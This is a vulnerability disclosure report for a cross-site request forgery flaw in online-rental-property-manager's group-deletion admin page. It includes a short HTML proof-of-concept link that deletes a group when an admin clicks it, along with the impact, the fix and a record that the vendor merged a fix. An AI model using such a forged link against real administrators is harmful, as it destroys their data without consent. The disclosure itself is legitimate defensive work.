Cross-Site Request Forgery (CSRF) in bigprof-software/online-rental-property-manager

Valid

Reported on

Jul 3rd 2021


✍️ Description

The app/admin/pageDeleteGroup.php?groupID=<ID> does not have a CSRF protection. This could be used by attackers to trick the admin to delete a group from their system.

🕵️‍♂️ Proof of Concept

<html>
<body>
<a href="http://<host>/online-rental-property-manager-6.8/app/admin/pageDeleteGroup.php?groupID=6">Click Here !</a>
</body>
</html>

When an admin clicks the link a member is deleted.

💥 Impact

This vulnerability is capable of deleting groups from the platform.

Fix Introduce a CSRF token in the request.

References

We have contacted a member of the bigprof-software/online-rental-property-manager team and are waiting to hear back 3 months ago
BigProf Software confirmed that a fix has been merged on 0a2aaf 10 days ago
BigProf Software has been awarded the fix bounty